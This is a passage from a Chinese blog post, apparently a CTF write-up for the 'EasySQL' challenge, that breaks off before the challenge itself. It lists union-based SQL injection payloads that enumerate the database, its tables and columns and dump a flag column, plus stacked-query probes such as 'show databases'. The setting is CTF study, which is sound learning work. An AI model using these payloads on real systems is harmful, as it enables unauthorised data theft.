ctf(EasySQL)

本文介绍了CTF挑战中涉及的EasySQL问题,通过记录SQL查询语句和堆叠查询来深入理解数据库操作。作者展示了如何通过POST参数进行SQL注入,包括尝试不同查询、爆破关键词过滤,并最终确定查询语句。通过payload '*,1'成功绕过过滤,获取数据。
摘要由CSDN通过智能技术生成

为了加深记忆我先记录一下SQL查询语句和堆叠查询语句

?wllm=1' order by 3--+
?wllm=-1' union select 1,2,3--+
?wllm=-1' union select 1,2,database()--+
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+ 

1;
1;show databases;
1;show tables;
1;show columns from 用来查询表中列名称;

好现在我们来看一下题目

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值